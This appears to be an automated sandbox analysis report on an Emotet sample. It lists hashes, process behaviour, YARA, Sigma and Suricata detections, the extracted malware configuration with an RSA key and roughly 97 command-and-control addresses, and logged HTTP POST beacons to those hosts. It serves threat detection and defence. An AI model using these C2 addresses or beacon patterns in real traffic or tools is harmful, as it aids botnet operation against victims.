Edit tour

Windows Analysis Report
ExeFile (317).exe

Overview

General Information

Sample name:	ExeFile (317).exe
Analysis ID:	1495943
MD5:	1d94974d27fc9127c69992d325afbc89
SHA1:	f238ed9987b52b8368c872804e64fea64360f0be
SHA256:	8c040d75defb681d1757421cad1fde62b74ba124a23e3b9ab3826d9806dcb35a
Tags:	EmotetHeodo
Infos:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Emotet

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for sample

Connects to several IPs in different countries

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files to the windows directory (C:\Windows)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

ExeFile (317).exe (PID: 7076 cmdline: "C:\Users\user\Desktop\ExeFile (317).exe" MD5: 1D94974D27FC9127C69992D325AFBC89)

oleaut32.exe (PID: 6348 cmdline: "C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe" MD5: 1D94974D27FC9127C69992D325AFBC89)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Emotet	While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.	GOLD CABIN MUMMY SPIDER Mealybug	http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1 http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/ http://ropgadget.com/posts/defensive_pcres.html https://adalogics.com/blog/the-state-of-advanced-code-injections https://asec.ahnlab.com/en/33600/	https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["71.72.196.159:80", "134.209.36.254:8080", "120.138.30.150:8080", "94.23.216.33:80", "157.245.99.39:8080", "137.59.187.107:8080", "94.23.237.171:443", "61.19.246.238:443", "156.155.166.221:80", "50.35.17.13:80", "153.137.36.142:80", "91.211.88.52:7080", "209.141.54.221:8080", "185.94.252.104:443", "174.45.13.118:80", "87.106.136.232:8080", "62.75.141.82:80", "213.196.135.145:80", "188.219.31.12:80", "82.80.155.43:80", "187.161.206.24:80", "172.91.208.86:80", "124.41.215.226:80", "107.5.122.110:80", "200.123.150.89:443", "95.179.229.244:8080", "83.169.36.251:8080", "1.221.254.82:80", "95.213.236.64:8080", "181.169.34.190:80", "47.144.21.12:443", "203.153.216.189:7080", "89.216.122.92:80", "84.39.182.7:80", "94.200.114.161:80", "104.236.246.93:8080", "139.99.158.11:443", "176.111.60.55:8080", "78.24.219.147:8080", "220.245.198.194:80", "62.30.7.67:443", "139.162.108.71:8080", "104.32.141.43:80", "153.232.188.106:80", "93.147.212.206:80", "79.137.83.50:443", "96.249.236.156:443", "24.43.99.75:80", "75.80.124.4:80", "42.200.107.142:80", "110.5.16.198:80", "5.196.74.210:8080", "110.145.77.103:80", "200.114.213.233:8080", "85.152.162.105:80", "5.39.91.110:7080", "109.74.5.95:8080", "140.186.212.146:80", "37.187.72.193:8080", "97.82.79.83:80", "139.130.242.43:80", "201.173.217.124:443", "123.176.25.234:80", "104.131.44.150:8080", "74.208.45.104:8080", "139.59.60.244:8080", "120.150.60.189:80", "74.219.172.26:80", "219.75.128.166:80", "82.225.49.121:80", "85.105.205.77:8080", "24.179.13.119:80", "74.120.55.163:80", "174.102.48.180:443", "219.74.18.66:443", "168.235.67.138:7080", "194.187.133.160:443", "78.187.156.31:80", "103.86.49.11:8080", "61.92.17.12:80", "24.137.76.62:80", "104.131.11.150:443", "79.98.24.39:8080", "75.139.38.211:80", "162.241.242.173:8080", "195.251.213.56:80", "37.139.21.175:8080", "46.105.131.79:8080", "50.91.114.38:80", "121.124.124.40:7080", "74.134.41.124:80", "68.188.112.97:80", "137.119.36.33:80", "121.7.127.163:80", "87.106.139.101:8080", "94.1.108.190:443", "169.239.182.217:8080"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2d6c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x590a:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x590a:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x31dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2d6c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x31dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.oleaut32.exe.4f279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.oleaut32.exe.4f279e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x256c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (317).exe.53279e.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (317).exe.53279e.3.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (317).exe.53279e.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (317).exe.53279e.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x256c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (317).exe.620000.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (317).exe.620000.4.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
1.2.oleaut32.exe.4f279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.oleaut32.exe.4f279e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (317).exe.53052e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (317).exe.53052e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x35dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
1.2.oleaut32.exe.4f052e.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.oleaut32.exe.4f052e.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x35dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
1.2.oleaut32.exe.4f052e.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.oleaut32.exe.4f052e.3.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x53dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (317).exe.53052e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (317).exe.53052e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x53dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
1.2.oleaut32.exe.5e0000.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.oleaut32.exe.5e0000.4.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 134.209.36.254, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe, Initiated: true, ProcessId: 6348, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49737

Suricata Signatures

ET MALWARE Win32/Emotet CnC Activity (POST) M10 - Source IP: 192.168.2.4 - Destination IP: 120.138.30.150

Timestamp:	2024-08-20T18:08:26.272087+0200
SID:	2030868
Severity:	1
Source Port:	49739
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 94.23.216.33

Timestamp:	2024-08-20T18:08:30.100075+0200
SID:	2854388
Severity:	1
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 134.209.36.254

Timestamp:	2024-08-20T18:08:21.130577+0200
SID:	2854388
Severity:	1
Source Port:	49737
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 137.59.187.107

Timestamp:	2024-08-20T18:09:00.006506+0200
SID:	2854388
Severity:	1
Source Port:	49742
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 71.72.196.159

Timestamp:	2024-08-20T18:07:56.975897+0200
SID:	2854388
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 156.155.166.221

Timestamp:	2024-08-20T18:09:32.382105+0200
SID:	2854388
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Emotet CnC Activity (POST) M10 - Source IP: 192.168.2.4 - Destination IP: 61.19.246.238

Timestamp:	2024-08-20T18:07:21.955224+0200
SID:	2030868
Severity:	1
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.4 - Destination IP: 157.245.99.39

Timestamp:	2024-08-20T18:08:36.308902+0200
SID:	2854388
Severity:	1
Source Port:	49741
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ExeFile (317).exe

Avira: detected

Found malware configuration

Source: 0.2.ExeFile (317).exe.53279e.3.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["71.72.196.159:80", "134.209.36.254:8080", "120.138.30.150:8080", "94.23.216.33:80", "157.245.99.39:8080", "137.59.187.107:8080", "94.23.237.171:443", "61.19.246.238:443", "156.155.166.221:80", "50.35.17.13:80", "153.137.36.142:80", "91.211.88.52:7080", "209.141.54.221:8080", "185.94.252.104:443", "174.45.13.118:80", "87.106.136.232:8080", "62.75.141.82:80", "213.196.135.145:80", "188.219.31.12:80", "82.80.155.43:80", "187.161.206.24:80", "172.91.208.86:80", "124.41.215.226:80", "107.5.122.110:80", "200.123.150.89:443", "95.179.229.244:8080", "83.169.36.251:8080", "1.221.254.82:80", "95.213.236.64:8080", "181.169.34.190:80", "47.144.21.12:443", "203.153.216.189:7080", "89.216.122.92:80", "84.39.182.7:80", "94.200.114.161:80", "104.236.246.93:8080", "139.99.158.11:443", "176.111.60.55:8080", "78.24.219.147:8080", "220.245.198.194:80", "62.30.7.67:443", "139.162.108.71:8080", "104.32.141.43:80", "153.232.188.106:80", "93.147.212.206:80", "79.137.83.50:443", "96.249.236.156:443", "24.43.99.75:80", "75.80.124.4:80", "42.200.107.142:80", "110.5.16.198:80", "5.196.74.210:8080", "110.145.77.103:80", "200.114.213.233:8080", "85.152.162.105:80", "5.39.91.110:7080", "109.74.5.95:8080", "140.186.212.146:80", "37.187.72.193:8080", "97.82.79.83:80", "139.130.242.43:80", "201.173.217.124:443", "123.176.25.234:80", "104.131.44.150:8080", "74.208.45.104:8080", "139.59.60.244:8080", "120.150.60.189:80", "74.219.172.26:80", "219.75.128.166:80", "82.225.49.121:80", "85.105.205.77:8080", "24.179.13.119:80", "74.120.55.163:80", "174.102.48.180:443", "219.74.18.66:443", "168.235.67.138:7080", "194.187.133.160:443", "78.187.156.31:80", "103.86.49.11:8080", "61.92.17.12:80", "24.137.76.62:80", "104.131.11.150:443", "79.98.24.39:8080", "75.139.38.211:80", "162.241.242.173:8080", "195.251.213.56:80", "37.139.21.175:8080", "46.105.131.79:8080", "50.91.114.38:80", "121.124.124.40:7080", "74.134.41.124:80", "68.188.112.97:80", "137.119.36.33:80", "121.7.127.163:80", "87.106.139.101:8080", "94.1.108.190:443", "169.239.182.217:8080"]}

Multi AV Scanner detection for submitted file

Source: ExeFile (317).exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.1% probability

Machine Learning detection for sample

Source: ExeFile (317).exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E25A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,	1_2_005E25A0
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E2210 CryptDestroyHash,CryptExportKey,CryptDuplicateHash,CryptGetHashParam,CryptEncrypt,memcpy,GetProcessHeap,HeapFree,	1_2_005E2210
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E1FA0 CryptDuplicateHash,CryptDestroyHash,memcpy,	1_2_005E1FA0

Source: ExeFile (317).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: A:\WindowsProcessManager-master\WindowsProcessManager-master\Release\TaskMgr.pdb source: ExeFile (317).exe
Source:	Binary string: vfwwdm32.pdb source: ExeFile (317).exe

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_006238B0 GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		0_2_006238B0
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E38B0 _snwprintf,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		1_2_005E38B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49737 -> 134.209.36.254:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49737 -> 134.209.36.254:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49739 -> 120.138.30.150:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49741 -> 157.245.99.39:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49741 -> 157.245.99.39:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49740 -> 94.23.216.33:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49740 -> 94.23.216.33:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49745 -> 156.155.166.221:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49745 -> 156.155.166.221:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49742 -> 137.59.187.107:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49742 -> 137.59.187.107:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49730 -> 71.72.196.159:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.4:49730 -> 71.72.196.159:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.4:49744 -> 61.19.246.238:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 71.72.196.159:80
Source: Malware configuration extractor	IPs: 134.209.36.254:8080
Source: Malware configuration extractor	IPs: 120.138.30.150:8080
Source: Malware configuration extractor	IPs: 94.23.216.33:80
Source: Malware configuration extractor	IPs: 157.245.99.39:8080
Source: Malware configuration extractor	IPs: 137.59.187.107:8080
Source: Malware configuration extractor	IPs: 94.23.237.171:443
Source: Malware configuration extractor	IPs: 61.19.246.238:443
Source: Malware configuration extractor	IPs: 156.155.166.221:80
Source: Malware configuration extractor	IPs: 50.35.17.13:80
Source: Malware configuration extractor	IPs: 153.137.36.142:80
Source: Malware configuration extractor	IPs: 91.211.88.52:7080
Source: Malware configuration extractor	IPs: 209.141.54.221:8080
Source: Malware configuration extractor	IPs: 185.94.252.104:443
Source: Malware configuration extractor	IPs: 174.45.13.118:80
Source: Malware configuration extractor	IPs: 87.106.136.232:8080
Source: Malware configuration extractor	IPs: 62.75.141.82:80
Source: Malware configuration extractor	IPs: 213.196.135.145:80
Source: Malware configuration extractor	IPs: 188.219.31.12:80
Source: Malware configuration extractor	IPs: 82.80.155.43:80
Source: Malware configuration extractor	IPs: 187.161.206.24:80
Source: Malware configuration extractor	IPs: 172.91.208.86:80
Source: Malware configuration extractor	IPs: 124.41.215.226:80
Source: Malware configuration extractor	IPs: 107.5.122.110:80
Source: Malware configuration extractor	IPs: 200.123.150.89:443
Source: Malware configuration extractor	IPs: 95.179.229.244:8080
Source: Malware configuration extractor	IPs: 83.169.36.251:8080
Source: Malware configuration extractor	IPs: 1.221.254.82:80
Source: Malware configuration extractor	IPs: 95.213.236.64:8080
Source: Malware configuration extractor	IPs: 181.169.34.190:80
Source: Malware configuration extractor	IPs: 47.144.21.12:443
Source: Malware configuration extractor	IPs: 203.153.216.189:7080
Source: Malware configuration extractor	IPs: 89.216.122.92:80
Source: Malware configuration extractor	IPs: 84.39.182.7:80
Source: Malware configuration extractor	IPs: 94.200.114.161:80
Source: Malware configuration extractor	IPs: 104.236.246.93:8080
Source: Malware configuration extractor	IPs: 139.99.158.11:443
Source: Malware configuration extractor	IPs: 176.111.60.55:8080
Source: Malware configuration extractor	IPs: 78.24.219.147:8080
Source: Malware configuration extractor	IPs: 220.245.198.194:80
Source: Malware configuration extractor	IPs: 62.30.7.67:443
Source: Malware configuration extractor	IPs: 139.162.108.71:8080
Source: Malware configuration extractor	IPs: 104.32.141.43:80
Source: Malware configuration extractor	IPs: 153.232.188.106:80
Source: Malware configuration extractor	IPs: 93.147.212.206:80
Source: Malware configuration extractor	IPs: 79.137.83.50:443
Source: Malware configuration extractor	IPs: 96.249.236.156:443
Source: Malware configuration extractor	IPs: 24.43.99.75:80
Source: Malware configuration extractor	IPs: 75.80.124.4:80
Source: Malware configuration extractor	IPs: 42.200.107.142:80
Source: Malware configuration extractor	IPs: 110.5.16.198:80
Source: Malware configuration extractor	IPs: 5.196.74.210:8080
Source: Malware configuration extractor	IPs: 110.145.77.103:80
Source: Malware configuration extractor	IPs: 200.114.213.233:8080
Source: Malware configuration extractor	IPs: 85.152.162.105:80
Source: Malware configuration extractor	IPs: 5.39.91.110:7080
Source: Malware configuration extractor	IPs: 109.74.5.95:8080
Source: Malware configuration extractor	IPs: 140.186.212.146:80
Source: Malware configuration extractor	IPs: 37.187.72.193:8080
Source: Malware configuration extractor	IPs: 97.82.79.83:80
Source: Malware configuration extractor	IPs: 139.130.242.43:80
Source: Malware configuration extractor	IPs: 201.173.217.124:443
Source: Malware configuration extractor	IPs: 123.176.25.234:80
Source: Malware configuration extractor	IPs: 104.131.44.150:8080
Source: Malware configuration extractor	IPs: 74.208.45.104:8080
Source: Malware configuration extractor	IPs: 139.59.60.244:8080
Source: Malware configuration extractor	IPs: 120.150.60.189:80
Source: Malware configuration extractor	IPs: 74.219.172.26:80
Source: Malware configuration extractor	IPs: 219.75.128.166:80
Source: Malware configuration extractor	IPs: 82.225.49.121:80
Source: Malware configuration extractor	IPs: 85.105.205.77:8080
Source: Malware configuration extractor	IPs: 24.179.13.119:80
Source: Malware configuration extractor	IPs: 74.120.55.163:80
Source: Malware configuration extractor	IPs: 174.102.48.180:443
Source: Malware configuration extractor	IPs: 219.74.18.66:443
Source: Malware configuration extractor	IPs: 168.235.67.138:7080
Source: Malware configuration extractor	IPs: 194.187.133.160:443
Source: Malware configuration extractor	IPs: 78.187.156.31:80
Source: Malware configuration extractor	IPs: 103.86.49.11:8080
Source: Malware configuration extractor	IPs: 61.92.17.12:80
Source: Malware configuration extractor	IPs: 24.137.76.62:80
Source: Malware configuration extractor	IPs: 104.131.11.150:443
Source: Malware configuration extractor	IPs: 79.98.24.39:8080
Source: Malware configuration extractor	IPs: 75.139.38.211:80
Source: Malware configuration extractor	IPs: 162.241.242.173:8080
Source: Malware configuration extractor	IPs: 195.251.213.56:80
Source: Malware configuration extractor	IPs: 37.139.21.175:8080
Source: Malware configuration extractor	IPs: 46.105.131.79:8080
Source: Malware configuration extractor	IPs: 50.91.114.38:80
Source: Malware configuration extractor	IPs: 121.124.124.40:7080
Source: Malware configuration extractor	IPs: 74.134.41.124:80
Source: Malware configuration extractor	IPs: 68.188.112.97:80
Source: Malware configuration extractor	IPs: 137.119.36.33:80
Source: Malware configuration extractor	IPs: 121.7.127.163:80
Source: Malware configuration extractor	IPs: 87.106.139.101:8080
Source: Malware configuration extractor	IPs: 94.1.108.190:443
Source: Malware configuration extractor	IPs: 169.239.182.217:8080

Source: unknown

Network traffic detected: IP country count 32

Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 134.209.36.254:8080
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 120.138.30.150:8080
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 157.245.99.39:8080
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 137.59.187.107:8080

Source: Joe Sandbox View	IP Address: 94.200.114.161 94.200.114.161
Source: Joe Sandbox View	IP Address: 71.72.196.159 71.72.196.159
Source: Joe Sandbox View	IP Address: 85.152.162.105 85.152.162.105

Source: Joe Sandbox View	ASN Name: DU-AS1AE DU-AS1AE
Source: Joe Sandbox View	ASN Name: TWC-10796-MIDWESTUS TWC-10796-MIDWESTUS
Source: Joe Sandbox View	ASN Name: TELECABLESpainES TELECABLESpainES
Source: Joe Sandbox View	ASN Name: TWC-10796-MIDWESTUS TWC-10796-MIDWESTUS

Source: global traffic	HTTP traffic detected: POST /aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 71.72.196.159/aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----------------------wa4T8cPZY0e2iD10iYmCsXHost: 71.72.196.159Content-Length: 4692Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jg04eNfDVrhItWur/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 134.209.36.254/Jg04eNfDVrhItWur/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------------------Ldiwo2HtMl13Eyf6TSeHHost: 134.209.36.254:8080Content-Length: 4692Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 120.138.30.150/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------KEv02otYHost: 120.138.30.150:8080Content-Length: 4660Cache-Control: no-cache
